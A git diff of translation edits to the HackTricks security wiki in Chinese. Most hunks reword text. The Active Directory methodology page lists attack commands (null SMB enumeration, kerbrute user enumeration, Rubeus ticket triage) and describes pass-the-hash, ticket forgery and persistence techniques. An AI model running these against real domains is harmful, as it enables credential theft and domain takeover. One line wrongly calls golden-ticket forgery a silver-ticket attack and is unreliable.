+宏比函数更强大，因为它们扩展以生成比您手动编写的代码更多的代码。例如，函数签名必须声明函数具有的参数数量和类型。另一方面，宏可以接受可变数量的参数：我们可以用一个参数调用 `println!("hello")`，或者用两个参数调用 `println!("hello {}", name)`。此外，宏在编译器解释代码含义之前被扩展，因此宏可以在给定类型上实现一个特征。例如，函数不能这样做，因为它在运行时被调用，而特征需要在编译时实现。
 ```rust
 macro_rules! my_macro {
 () => {
@@ -254,7 +254,7 @@ assert_ne!(true, false);
 
 #### Arc
 
-Arc可以使用Clone来创建更多对对象的引用，以将它们传递给线程。当指向一个值的最后一个引用指针超出作用域时，该变量将被丢弃。
+Arc 可以使用 Clone 创建更多对对象的引用，以将它们传递给线程。当指向一个值的最后一个引用指针超出作用域时，该变量会被丢弃。
 ```rust
 use std::sync::Arc;
 let apple = Arc::new("the same apple");
diff --git a/src/todo/test-llms.md b/src/todo/test-llms.md
index 13c5f6595..8050fddd0 100644
--- a/src/todo/test-llms.md
+++ b/src/todo/test-llms.md
@@ -17,7 +17,7 @@ LitGPT 是由 Lightning AI 开发的一个项目，利用 Lightning 框架来促
 ### [**LitServe**](https://github.com/Lightning-AI/LitServe)
 
 **描述：**\
-LitServe 是 Lightning AI 的一个部署工具，旨在快速高效地部署 AI 模型。它通过提供可扩展和优化的服务能力，简化了 LLM 在实时应用中的集成。
+LitServe 是 Lightning AI 的一个部署工具，旨在快速高效地部署 AI 模型。它通过提供可扩展和优化的服务能力，简化了将 LLM 集成到实时应用程序中的过程。
 
 ### [**Axolotl**](https://github.com/axolotl-ai-cloud/axolotl)
 
@@ -32,7 +32,7 @@ Axolotl 是一个基于云的平台，旨在简化 AI 模型（包括 LLM）的
 
 * **模型**：一个庞大的 **预训练机器学习模型** 库，用户可以浏览、下载和集成用于文本生成、翻译、图像识别等各种任务的模型。
 * **数据集：** 一个全面的 **数据集集合**，用于训练和评估模型。它便于访问多样的数据源，使用户能够找到并利用特定机器学习项目所需的数据。
-* **空间：** 一个用于托管和共享 **交互式机器学习应用程序** 和演示的平台。它允许开发人员 **展示** 他们的模型在实际中的应用，创建用户友好的界面，并通过共享实时演示与他人合作。
+* **空间：** 一个用于托管和共享 **交互式机器学习应用程序** 和演示的平台。它允许开发人员 **展示** 他们的模型，创建用户友好的界面，并通过共享实时演示与他人合作。
 
 ## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/)
 
diff --git a/src/welcome/about-the-author.md b/src/welcome/about-the-author.md
index b1be2c23e..28f581c11 100644
--- a/src/welcome/about-the-author.md
+++ b/src/welcome/about-the-author.md
@@ -6,7 +6,7 @@
 
 首先，需要指出的是，所有**来自其他网站研究的技术的信用归原作者所有**（页面中有引用）。感谢每一个分享知识以提高互联网安全的研究。
 
-HackTricks 是一个由 Carlos 主导的教育 Wiki，汇集了关于**网络安全**的知识，拥有数百名合作者！这是一个**巨大的黑客技巧集合**，由社区尽可能地更新，以保持最新。如果您发现有缺失或过时的内容，请发送**Pull Request**到 [**Hacktricks Github**](https://github.com/carlospolop/hacktricks)！
+HackTricks 是一个由 Carlos 领导的教育 Wiki，汇集了关于**网络安全**的知识，拥有数百名合作者！这是一个**巨大的黑客技巧集合**，由社区尽可能地更新，以保持最新。如果您发现有缺失或过时的内容，请发送**Pull Request**到 [**Hacktricks Github**](https://github.com/carlospolop/hacktricks)！
 
 HackTricks 也是一个许多研究人员分享他们最新发现的 Wiki，因此这是一个跟上最新黑客技术的好地方。
 
diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md
index bb69323b7..11a878873 100644
--- a/src/welcome/hacktricks-values-and-faq.md
+++ b/src/welcome/hacktricks-values-and-faq.md
@@ -50,7 +50,7 @@
 >
 > - **我该如何引用 HackTricks 的页面？**
 
-只要您引用的信息页面的 **链接** 出现即可。\
+只要您引用的信息来源的页面 **链接** 出现即可。\
 如果您需要 bibtex，您可以使用类似的格式：
 ```latex
 @misc{hacktricks-bibtexing,
@@ -64,7 +64,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
 >
 > - **我可以在我的博客中复制所有HackTricks吗？**
 
-**我不建议这样做**。这对任何人都**没有好处**，因为所有的**内容已经在官方HackTricks书籍中免费公开**。
+**我不建议这样做**。这对任何人都**没有好处**，因为所有**内容已经在官方HackTricks书籍中免费公开**。
 
 如果你担心它会消失，只需在Github上分叉或下载，如我所说，它已经是免费的。
 
@@ -76,7 +76,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
 
 如果你认为HackTricks书籍是为了**商业目的**而制作的，你是**完全错误的**。
 
-我们有赞助商，因为即使所有内容都是免费的，我们希望**给社区提供欣赏我们工作的可能性**，如果他们愿意。因此，我们提供人们通过[**Github赞助商**](https://github.com/sponsors/carlospolop)捐赠给HackTricks的选项，以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**，这些**广告**总是放在**可见**但**不干扰学习**过程的地方，以便人们专注于内容。
+我们有赞助商，因为即使所有内容都是免费的，我们也希望**给社区提供欣赏我们工作的可能性**，如果他们愿意。因此，我们提供人们通过[**Github赞助商**](https://github.com/sponsors/carlospolop)向HackTricks捐款的选项，以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**，这些**广告**总是放在**可见**但**不干扰学习**过程的地方，以便人们专注于内容。
 
 你不会发现HackTricks充满了烦人的广告，就像其他内容远不如HackTricks的博客，因为HackTricks不是为了商业目的而制作的。
 
@@ -93,8 +93,8 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
 请注意，在HackTricks中有链接到你的页面：
 
 - 改善你的**SEO**
-- 内容被**翻译成超过15种语言**，使更多人能够访问这些内容
-- **HackTricks鼓励**人们**查看你的页面**（有几个人提到，自从他们的某个页面在HackTricks中，他们的访问量增加了）
+- 内容被**翻译成15种以上的语言**，使更多人能够访问这些内容
+- **HackTricks鼓励**人们**查看你的页面**（有几个人提到，自从他们的某个页面在HackTricks中后，他们的访问量增加了）
 
 然而，如果你仍然希望从HackTricks中删除你博客的内容，请告知我们，我们将**删除所有指向你博客的链接**，以及任何基于它的内容。
 
@@ -112,11 +112,11 @@ Copyright © 保留所有权利，除非另有说明。
 
 - Attribution: 你可以自由地：
 - Share — 以任何媒介或格式复制和重新分发材料。
-- Adapt — 混合、转变和基于材料进行构建。
+- Adapt — 混合、转变和基于材料进行创作。
 
 #### Additional Terms:
 
-- Third-Party Content: 本博客/书籍的某些部分可能包含来自其他来源的内容，例如其他博客或出版物的摘录。使用此类内容是基于合理使用原则或获得相关版权持有者的明确许可。有关第三方内容的具体许可信息，请参考原始来源。
+- Third-Party Content: 本博客/书籍的某些部分可能包含来自其他来源的内容，例如其他博客或出版物的摘录。使用此类内容是基于合理使用原则或获得相关版权持有人的明确许可。有关第三方内容的具体许可信息，请参考原始来源。
 - Authorship: HackTricks创作的原始内容受此许可条款的约束。鼓励在分享或改编时将此作品归功于作者。
 
 #### Exemptions:
@@ -130,11 +130,11 @@ Copyright © 保留所有权利，除非另有说明。
 ## **免责声明**
 
 > [!CAUTION]
-> 本书《HackTricks》仅用于教育和信息目的。书中的内容按“现状”提供，作者和出版商不对书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性作出任何明示或暗示的陈述或保证。因此，你对这些信息的任何依赖均严格自担风险。
+> 本书《HackTricks》仅用于教育和信息目的。书中的内容按“现状”提供，作者和出版商不对书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性作出任何明示或暗示的陈述或保证。你对这些信息的任何依赖均由你自行承担风险。
 >
 > 作者和出版商在任何情况下均不对因使用本书而导致的任何损失或损害承担责任，包括但不限于间接或后果性损失或损害，或因数据或利润损失而产生的任何损失或损害。
 >
-> 此外，本书中描述的技术和技巧仅用于教育和信息目的，不应用于任何非法或恶意活动。作者和出版商不支持或纵容任何非法或不道德的活动，使用本书中包含的信息的任何行为均由用户自行承担风险和判断。
+> 此外，本书中描述的技术和技巧仅用于教育和信息目的，不应用于任何非法或恶意活动。作者和出版商不支持或纵容任何非法或不道德的活动，使用本书中包含的信息的风险和决定由用户自行承担。
 >
 > 用户对基于本书中包含的信息采取的任何行动负全部责任，并应在尝试实施本书中描述的任何技术或技巧时始终寻求专业建议和帮助。
 >
diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md
index 62fb3526e..5707d2e81 100644
--- a/src/windows-hardening/active-directory-methodology/README.md
+++ b/src/windows-hardening/active-directory-methodology/README.md
@@ -6,7 +6,7 @@
 
 **Active Directory** 作为基础技术，使 **网络管理员** 能够高效地创建和管理网络中的 **域**、**用户** 和 **对象**。它被设计为可扩展，便于将大量用户组织成可管理的 **组** 和 **子组**，同时在不同级别上控制 **访问权限**。
 
-**Active Directory** 的结构由三个主要层次组成：**域**、**树** 和 **森林**。一个 **域** 包含一组对象，如 **用户** 或 **设备**，共享一个公共数据库。**树** 是这些域的组，彼此通过共享结构连接，而 **森林** 代表多个树的集合，通过 **信任关系** 互联，形成组织结构的最上层。可以在每个层次上指定特定的 **访问** 和 **通信权限**。
+**Active Directory** 的结构由三个主要层次组成：**域**、**树** 和 **森林**。一个 **域** 包含一组对象，如 **用户** 或 **设备**，共享一个公共数据库。**树** 是通过共享结构连接的这些域的组，而 **森林** 代表多个树的集合，通过 **信任关系** 互联，形成组织结构的最上层。可以在每个层次上指定特定的 **访问** 和 **通信权限**。
 
 **Active Directory** 中的关键概念包括：
 
@@ -14,7 +14,7 @@
 2. **对象** – 指目录中的实体，包括 **用户**、**组** 或 **共享文件夹**。
 3. **域** – 作为目录对象的容器，多个域可以在一个 **森林** 中共存，每个域维护自己的对象集合。
 4. **树** – 一组共享公共根域的域。
-5. **森林** – Active Directory 中组织结构的顶点，由多个树组成，彼此之间有 **信任关系**。
+5. **森林** – Active Directory 中组织结构的顶点，由多个树组成，树之间存在 **信任关系**。
 
 **Active Directory 域服务 (AD DS)** 包含一系列对网络内集中管理和通信至关重要的服务。这些服务包括：
 
@@ -44,7 +44,7 @@
 - 扫描网络，查找机器和开放端口，并尝试 **利用漏洞** 或 **提取凭据**（例如，[打印机可能是非常有趣的目标](ad-information-in-printers.md)）。
 - 枚举 DNS 可能会提供有关域中关键服务器的信息，如 Web、打印机、共享、VPN、媒体等。
 - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
-- 查看一般的 [**渗透测试方法论**](../../generic-methodologies-and-resources/pentesting-methodology.md)，以获取有关如何执行此操作的更多信息。
+- 查看一般的 [**渗透测试方法论**](../../generic-methodologies-and-resources/pentesting-methodology.md) 以获取有关如何执行此操作的更多信息。
 - **检查 smb 服务上的空和访客访问**（这在现代 Windows 版本上不起作用）：
 - `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
 - `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
@@ -66,10 +66,10 @@
 - **毒化网络**
 - 收集凭据 [**通过 Responder 冒充服务**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 - 通过 [**滥用中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 访问主机
-- 收集凭据 **暴露** [**假 UPnP 服务与 evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
+- 收集凭据 **暴露** [**伪造的 UPnP 服务与 evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology)：
 - 从内部文档、社交媒体、服务（主要是 Web）中提取用户名/姓名，以及从公开可用的信息中提取。
-- 如果您找到公司员工的完整姓名，您可以尝试不同的 AD **用户名约定**（**[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**）。最常见的约定是：_NameSurname_、_Name.Surname_、_NamSur_（每个 3 个字母）、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_（abc123）。
+- 如果您找到公司员工的完整姓名，您可以尝试不同的 AD **用户名约定**（**[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**）。最常见的约定是：_NameSurname_、_Name.Surname_、_NamSur_（每个的 3 个字母）、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_（abc123）。
 - 工具：
 - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
 - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@@ -77,7 +77,7 @@
 ### 用户枚举
 
 - **匿名 SMB/LDAP 枚举：** 检查 [**渗透测试 SMB**](../../network-services-pentesting/pentesting-smb/) 和 [**渗透测试 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 页面。
-- **Kerbrute 枚举**：当请求 **无效用户名** 时，服务器将使用 **Kerberos 错误** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应，从而使我们能够确定用户名无效。**有效用户名** 将引发 **AS-REP** 响应中的 **TGT** 或错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_，指示用户需要进行预身份验证。
+- **Kerbrute 枚举**：当请求 **无效用户名** 时，服务器将使用 **Kerberos 错误** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应，从而使我们能够确定用户名无效。 **有效用户名** 将引发 **AS-REP** 响应中的 **TGT** 或错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_，指示用户需要进行预身份验证。
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
 
@@ -112,7 +112,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
 好的，所以你知道你已经有一个有效的用户名，但没有密码……那么尝试：
 
 - [**ASREPRoast**](asreproast.md)：如果用户 **没有** 属性 _DONT_REQ_PREAUTH_，你可以 **请求该用户的 AS_REP 消息**，其中将包含一些由用户密码的派生加密的数据。
-- [**Password Spraying**](password-spraying.md)：让我们尝试每个发现用户的 **常见密码**，也许某个用户使用了一个糟糕的密码（记住密码策略！）。
+- [**密码喷洒**](password-spraying.md)：让我们尝试每个发现用户的 **常见密码**，也许某个用户使用了一个糟糕的密码（记住密码策略！）。
 - 请注意，你也可以 **喷洒 OWA 服务器** 来尝试访问用户的邮件服务器。
 
 {{#ref}}
@@ -153,7 +153,7 @@ kerberos-double-hop-problem.md
 
 成功妥协一个账户是 **开始妥协整个域的一个重要步骤**，因为你将能够开始 **活动目录枚举：**
 
-关于 [**ASREPRoast**](asreproast.md)，你现在可以找到每个可能的易受攻击用户，关于 [**Password Spraying**](password-spraying.md)，你可以获得 **所有用户名的列表** 并尝试妥协账户的密码、空密码和新的有前景的密码。
+关于 [**ASREPRoast**](asreproast.md)，你现在可以找到每个可能的易受攻击用户，关于 [**密码喷洒**](password-spraying.md)，你可以获取 **所有用户名的列表** 并尝试妥协账户的密码、空密码和新的有前景的密码。
 
 - 你可以使用 [**CMD 进行基本侦查**](../basic-cmd-for-pentesters.md#domain-info)
 - 你也可以使用 [**powershell 进行侦查**](../basic-powershell-for-pentesters/)，这将更加隐蔽
@@ -195,7 +195,7 @@ kerberoast.md
 
 ### 当前会话票证
 
-你很 **不太可能** 在当前用户中找到 **票证**，使你能够访问意外的资源，但你可以检查：
+你很 **不太可能** 在当前用户中找到 **票证**，使你能够访问意外资源，但你可以检查：
 ```bash
 ## List all tickets (if not admin, only current user tickets)
 .\Rubeus.exe triage
@@ -207,15 +207,15 @@ kerberoast.md
 
 如果你已经成功枚举了活动目录，你将会有**更多的电子邮件和对网络的更好理解**。你可能能够强制进行 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**。**
 
-### **在计算机共享中寻找凭据**
+### **在计算机共享中查找凭据**
 
-现在你有了一些基本凭据，你应该检查是否能**找到**任何**在 AD 中共享的有趣文件**。你可以手动进行，但这是一项非常无聊的重复任务（如果你发现数百个需要检查的文档，更是如此）。
+现在你有了一些基本凭据，你应该检查是否可以**找到**任何**在 AD 中共享的有趣文件**。你可以手动进行，但这是一项非常无聊的重复任务（如果你发现数百个需要检查的文档，更是如此）。
 
 [**点击此链接了解你可以使用的工具。**](../../network-services-pentesting/pentesting-smb/#domain-shared-folders-search)
 
 ### 偷取 NTLM 凭据
 
-如果你能**访问其他 PC 或共享**，你可以**放置文件**（如 SCF 文件），如果以某种方式被访问，将会**触发对你的 NTML 认证**，这样你就可以**窃取** **NTLM 挑战**以破解它：
+如果你可以**访问其他 PC 或共享**，你可以**放置文件**（如 SCF 文件），如果以某种方式被访问，将**触发对你的 NTML 认证**，这样你就可以**窃取** **NTLM 挑战**以破解它：
 
 {{#ref}}
 ../ntlm/places-to-steal-ntlm-creds.md
@@ -231,7 +231,39 @@ printnightmare.md
 
 ## 使用特权凭据/会话在活动目录上进行特权提升
 
-**对于以下技术，普通域用户是不够的，你
+**对于以下技术，普通域用户是不够的，你需要一些特殊的特权/凭据来执行这些攻击。**
+
+### 哈希提取
+
+希望你已经成功**破坏了一些本地管理员**账户，使用 [AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 包括中继、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[本地提升特权](../windows-local-privilege-escalation/)。\
+然后，是时候转储内存和本地的所有哈希。\
+[**阅读此页面以了解获取哈希的不同方法。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
+
+### 传递哈希
+
+**一旦你拥有用户的哈希**，你可以用它来**冒充**该用户。\
+你需要使用一些**工具**来**执行**使用该**哈希**的**NTLM 认证**，**或者**你可以创建一个新的**sessionlogon**并**注入**该**哈希**到**LSASS**中，这样当任何**NTLM 认证被执行**时，该**哈希将被使用。**最后一个选项就是 mimikatz 所做的。\
+[**阅读此页面以获取更多信息。**](../ntlm/#pass-the-hash)
+
+### 超越哈希/传递密钥
+
+此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**，作为常见的 NTLM 协议下的传递哈希的替代方案。因此，这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中尤其**有用**。
+
+{{#ref}}
+over-pass-the-hash-pass-the-key.md
+{{#endref}}
+
+### 传递票证
+
+在**传递票证 (PTT)** 攻击方法中，攻击者**窃取用户的认证票证**而不是他们的密码或哈希值。然后使用这个被窃取的票证来**冒充用户**，获得对网络中资源和服务的未授权访问。
+
+{{#ref}}
+pass-the-ticket.md
+{{#endref}}
+
+### 凭据重用
+
+如果你拥有**本地管理员**的**哈希**或**密码**，你应该尝试使用它**本地登录**到其他**PC**。
 ```bash
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
@@ -252,8 +284,8 @@ abusing-ad-mssql.md
 
 ### 不受限制的委托
 
-如果您发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 的计算机对象，并且您在计算机上具有域权限，您将能够从登录到该计算机的每个用户的内存中转储 TGT。\
-因此，如果**域管理员登录到计算机**，您将能够转储他的 TGT，并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
+如果您发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx> ) 的计算机对象，并且您在计算机上具有域权限，您将能够从登录到该计算机的每个用户的内存中转储 TGT。\
+因此，如果**域管理员登录到计算机**，您将能够转储他的 TGT 并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
 由于受限委托，您甚至可以**自动妥协打印服务器**（希望它是 DC）。
 
 {{#ref}}
@@ -262,7 +294,7 @@ unconstrained-delegation.md
 
 ### 受限委托
 
-如果用户或计算机被允许进行“受限委托”，它将能够**冒充任何用户以访问计算机中的某些服务**。\
+如果用户或计算机被允许进行“受限委托”，它将能够**冒充任何用户以访问计算机上的某些服务**。\
 然后，如果您**妥协**此用户/计算机的哈希，您将能够**冒充任何用户**（甚至是域管理员）以访问某些服务。
 
 {{#ref}}
@@ -304,7 +336,7 @@ rdp-sessions-abuse.md
 
 ### LAPS
 
-**LAPS** 提供了一种管理域加入计算机上**本地管理员密码**的系统，确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中，访问通过 ACL 控制，仅限授权用户。拥有足够权限访问这些密码后，可以转向其他计算机。
+**LAPS** 提供了一种管理域加入计算机上**本地管理员密码**的系统，确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中，访问通过 ACL 控制，仅限授权用户。拥有足够的权限访问这些密码后，转向其他计算机变得可能。
 
 {{#ref}}
 laps.md
@@ -361,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
 
 ### 银票
 
-**银票攻击**为特定服务创建**合法的票据授予服务（TGS）票据**，使用**NTLM 哈希**（例如，**PC 账户的哈希**）。此方法用于**访问服务权限**。
+**银票攻击**为特定服务创建一个**合法的票据授予服务 (TGS) 票据**，使用**NTLM 哈希**（例如，**PC 账户的哈希**）。此方法用于**访问服务权限**。
 
 {{#ref}}
 silver-ticket.md
@@ -369,9 +401,9 @@ silver-ticket.md
 
 ### 金票
 
-**金票攻击**涉及攻击者在 Active Directory (AD) 环境中获取**krbtgt 账户的 NTLM 哈希**。该账户是特殊的，因为它用于签署所有**票据授予票据（TGTs）**，这些票据对于在 AD 网络中进行身份验证至关重要。
+**金票攻击**涉及攻击者在 Active Directory (AD) 环境中获取**krbtgt 账户的 NTLM 哈希**。该账户是特殊的，因为它用于签署所有**票据授予票据 (TGT)**，这些票据对于在 AD 网络中进行身份验证至关重要。
 
-一旦攻击者获得此哈希，他们可以为他们选择的任何账户创建**TGTs**（银票攻击）。
+一旦攻击者获得此哈希，他们可以为他们选择的任何账户创建**TGT**（银票攻击）。
 
 {{#ref}}
 golden-ticket.md
@@ -403,13 +435,13 @@ ad-certificates/domain-persistence.md
 
 ### AdminSDHolder 组
 
-Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准**访问控制列表（ACL）**来确保**特权组**（如域管理员和企业管理员）的安全，以防止未经授权的更改。然而，这一功能可以被利用；如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限，该用户将获得对所有特权组的广泛控制。这个本应保护的安全措施因此可能适得其反，允许不当访问，除非进行严格监控。
+Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准的**访问控制列表 (ACL)** 来确保**特权组**（如域管理员和企业管理员）的安全，以防止未经授权的更改。然而，这一功能可能被利用；如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限，该用户将获得对所有特权组的广泛控制。这个本应保护的安全措施因此可能适得其反，允许不当访问，除非进行严格监控。
 
-[**有关 AdminDSHolder 组的更多信息。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
+[**有关 AdminDSHolder 组的更多信息在这里。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
 
 ### DSRM 凭据
 
-在每个**域控制器（DC）**内部，存在一个**本地管理员**账户。通过在这样的机器上获得管理员权限，可以使用**mimikatz**提取本地管理员哈希。随后，需要进行注册表修改以**启用使用此密码**，从而允许远程访问本地管理员账户。
+在每个**域控制器 (DC)** 内，存在一个**本地管理员**账户。通过在这样的机器上获得管理员权限，可以使用**mimikatz**提取本地管理员哈希。随后，需要进行注册表修改以**启用使用此密码**，从而允许远程访问本地管理员账户。
 
 {{#ref}}
 dsrm-credentials.md
@@ -433,7 +465,7 @@ security-descriptors.md
 
 ### 骨架密钥
 
-在内存中更改**LSASS**以建立**通用密码**，授予对所有域账户的访问权限。
+在内存中更改**LSASS**以建立一个**通用密码**，授予对所有域账户的访问权限。
 
 {{#ref}}
 skeleton-key.md
@@ -441,7 +473,7 @@ skeleton-key.md
 
 ### 自定义 SSP
 
-[了解什么是 SSP（安全支持提供者）这里。](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
+[了解什么是 SSP（安全支持提供者）在这里。](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
 您可以创建自己的**SSP**以**捕获**用于访问机器的**凭据**的**明文**。\\
 
 {{#ref}}
@@ -472,18 +504,18 @@ laps.md
 
 ### 基本信息
 
-[**域信任**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)是一种安全机制，使来自一个**域**的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接，允许身份验证验证无缝流动。当域设置信任时，它们在其**域控制器（DCs）**中交换并保留特定的**密钥**，这些密钥对信任的完整性至关重要。
+[**域信任**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) 是一种安全机制，使来自一个**域**的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接，允许身份验证验证无缝流动。当域建立信任时，它们在其**域控制器 (DC)** 中交换并保留特定的**密钥**，这些密钥对信任的完整性至关重要。
 
-在典型场景中，如果用户打算访问**受信任域**中的服务，他们必须首先从自己域的 DC 请求一个称为**跨领域 TGT**的特殊票据。此 TGT 使用两个域已达成一致的共享**密钥**进行加密。然后，用户将此 TGT 提交给**受信任域的 DC**以获取服务票据（**TGS**）。在受信任域的 DC 成功验证跨领域 TGT 后，它会发出 TGS，授予用户访问该服务的权限。
+在典型场景中，如果用户打算访问**受信任域**中的服务，他们必须首先从自己域的 DC 请求一个称为**跨域 TGT**的特殊票据。此 TGT 使用两个域已达成一致的共享**密钥**进行加密。然后，用户将此 TGT 提交给**受信任域的 DC**以获取服务票据（**TGS**）。在受信任域的 DC 成功验证跨域 TGT 后，它会发出 TGS，授予用户访问该服务的权限。
 
 **步骤**：
 
-1. **域 1**中的**客户端计算机**开始该过程，使用其**NTLM 哈希**向其**域控制器（DC1）**请求**票据授予票据（TGT）**。
+1. **域 1** 中的**客户端计算机**开始该过程，使用其**NTLM 哈希**向其**域控制器 (DC1)** 请求**票据授予票据 (TGT)**。
 2. 如果客户端成功通过身份验证，DC1 将发出新的 TGT。
-3. 然后，客户端向 DC1 请求一个**跨领域 TGT**，该 TGT 是访问**域 2**中的资源所需的。
-4. 跨领域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。
-5. 客户端将跨领域 TGT 带到**域 2 的域控制器（DC2）**。
-6. DC2 使用其共享的信任密钥验证跨领域 TGT，如果有效，则为客户端希望访问的域 2 中的服务器发出**票据授予服务（TGS）**。
+3. 客户端然后向 DC1 请求一个**跨域 TGT**，该 TGT 是访问**域 2**中资源所需的。
+4. 跨域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。
+5. 客户端将跨域 TGT 带到**域 2 的域控制器 (DC2)**。
+6. DC2 使用其共享信任密钥验证跨域 TGT，如果有效，则为客户端想要访问的域 2 中的服务器发出**票据授予服务 (TGS)**。
 7. 最后，客户端将此 TGS 提交给服务器，该 TGS 使用服务器的账户哈希进行加密，以获取对域 2 中服务的访问权限。
 
 ### 不同的信任
@@ -495,21 +527,21 @@ laps.md
 **不同的信任关系**
 
 - **父子信任**：这是同一森林内的常见设置，子域自动与其父域建立双向传递信任。这意味着身份验证请求可以在父域和子域之间无缝流动。
-- **交叉链接信任**：称为“快捷信任”，这些是在子域之间建立的，以加快引用过程。在复杂的森林中，身份验证引用通常必须向森林根部上行，然后再向目标域下行。通过创建交叉链接，旅程缩短，这在地理分散的环境中尤其有利。
-- **外部信任**：这些是在不同的、不相关的域之间建立的，通常是非传递性的。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)，外部信任对于访问当前森林外的域中的资源非常有用，该域未通过森林信任连接。通过 SID 过滤增强安全性。
+- **交叉链接信任**：称为“快捷信任”，这些是在子域之间建立的，以加快引用过程。在复杂的森林中，身份验证引用通常必须向森林根部上行，然后向目标域下行。通过创建交叉链接，旅程缩短，这在地理分散的环境中尤其有利。
+- **外部信任**：这些是在不同的、不相关的域之间建立的，具有非传递性。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)，外部信任对于访问当前森林外的域中的资源非常有用，该域未通过森林信任连接。通过 SID 过滤增强安全性。
 - **树根信任**：这些信任在森林根域和新添加的树根之间自动建立。虽然不常见，但树根信任对于将新域树添加到森林中非常重要，使它们能够保持唯一的域名并确保双向传递性。有关更多信息，请参见[微软的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
 - **森林信任**：这种类型的信任是两个森林根域之间的双向传递信任，也强制实施 SID 过滤以增强安全措施。
-- **MIT 信任**：这些信任与非 Windows 的[符合 RFC4120](https://tools.ietf.org/html/rfc4120) Kerberos 域建立。MIT 信任更为专业，适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
